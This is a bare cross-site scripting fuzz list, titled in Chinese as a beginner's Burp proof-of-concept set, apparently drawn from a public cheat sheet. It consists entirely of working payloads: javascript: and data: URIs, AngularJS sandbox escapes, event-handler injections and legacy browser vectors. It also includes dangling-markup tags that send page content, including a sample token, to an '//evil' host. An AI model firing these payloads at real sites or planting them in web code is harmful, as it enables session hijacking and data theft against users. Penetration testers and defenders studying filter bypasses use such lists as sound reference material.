新人burp上xss漏洞poc 通用fuzz参数

href="javascript:x='&percnt;27-alert(145)-%27';">XSS</a>
<a href="javascript& #x6a;avascript:alert(146)">Firefox</a>
<a href="javascript& colon ;alert(147)">Firefox</a>
<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>
{{constructor.constructor('alert(149)')()}}
{{$on.constructor('alert(150)')()}}
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(151)')()}}
{{{}.")));alert(152)//"}}
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(153)')()}}
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(154)"].sort(toString.constructor);}}
{{{}.")));alert(155)//"}}
{{{}.")));alert(156)//"}}
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=alert(157)//');}}
{{'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join;$eval('x=alert(158)//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(159)');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(160)//');}}
{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(161)');}}
{{constructor.constructor('alert(162)')()}}
{{$on.constructor('alert(163)')()}}
constructor.constructor('alert(164)')()
a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(165)')()
toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(166)"].sort(toString.constructor)
{}[['__proto__']]['x']=constructor.getOwnPropertyDescriptor;g={}[['__proto__']]['x'];{}[['__proto__']]['y']=g(''.sub[['__proto__']],'constructor');{}[['__proto__']]['z']=constructor.defineProperty;d={}[['__proto__']]['z'];d(''.sub[['__proto__']],'constructor',{value:false});{}[['__proto__']]['y'].value('alert(167)')()
{}.")));alert(168)//";
'a'.constructor.prototype.charAt=[].join;[1]|orderBy:'x=1} } };alert(169)//';
constructor.constructor('alert(170)')()
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
<input id=x ng-focus=$event.path|orderBy:'(z=alert)(1)'>
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'">
<div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div>
<link rel=stylesheet href="//evil?
<link rel=icon href="//evil?
<meta http-equiv="refresh" content="0; http://evil?
<video><track default src="//evil?
<video><source src="//evil?
<audio><source src="//evil?
<input type=image src="//evil?
<form><button style="width:100%;height:100%" type=submit formaction="//evil?
<form><input type=submit value="XSS" style="width:100%;height:100%" type=submit formaction="//evil?
<button form=x style="width:100%;height:100%;"><form id=x action="//evil?
<isindex type=image src="//evil?
<isindex type=submit style=width:100%;height:100%; value=XSS formaction="//evil?
<object data="//evil?
<iframe src="//evil?
<embed src="//evil?
<form><button formaction=//evil>XSS</button><textarea name=x>
<button form=x>XSS</button><form id=x action=//evil target='
<a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html><font size=100 color=red>You must click me</font></a><base target="
<form><input type=submit value="Click me" formaction=http://subdomain1.portswigger-labs.net/dangling_markup/name.html formtarget="
<a href=abc style="width:100%;height:100%;position:absolute;font-size:1000px;">xss<base href="//evil/
<embed src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<iframe src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<object data=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
<frameset><frame src=http://subdomain1.portswigger-labs.net/dangling_markup/name.html name="
javascript:/*--></title></style></textarea></script></xmp><svg/οnlοad='+/"/+/οnmοuseοver=1/+/[*/[]/+alert(200)//'>
<img src="javascript:alert(201)">
<body background="javascript:alert(202)">
<iframe src="data:text/html,<img src=1 οnerrοr=alert(203)>">
<a title="&{alert(204)}">XSS</a>
<link href="xss.js" rel=stylesheet type="text/javascript">
<form><button name=x formaction=x><b>stealme
<form action=x><button>XSS</button><select name=x><option><plaintext><script>token="supersecret"</script>
<img src="blah" style="-moz-binding: url(data:text/xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%3Cbindings%20xmlns%3D%22 http%3A//www.mozilla.org/xbl%22%3E%3Cbinding%20id%3D%22loader%22%3E%3Cimplementation%3E%3Cconstructor%3E%3C%21%5BCDATA%5Bvar%20url%20%3D%20%22alert.js %22%3B%20var%20scr%20%3D%20document.createElement%28%22script%22%29%3B%20scr.setAttribute%28%22src%22%2Curl%29%3B%20var%20bodyElement%20%3D%20 document.getElementsByTagName%28%22html%22%29.item%280%29%3B%20bodyElement.appendChild%28scr%29%3B%20%5D%5D%3E%3C/constructor%3E%3C/implementation%3E%3C/ binding%3E%3C/bindings%3E)" />
<a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(209)">XSS</a>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<img src=1 οnerrοr=alert(210)>"> </BODY></HTML>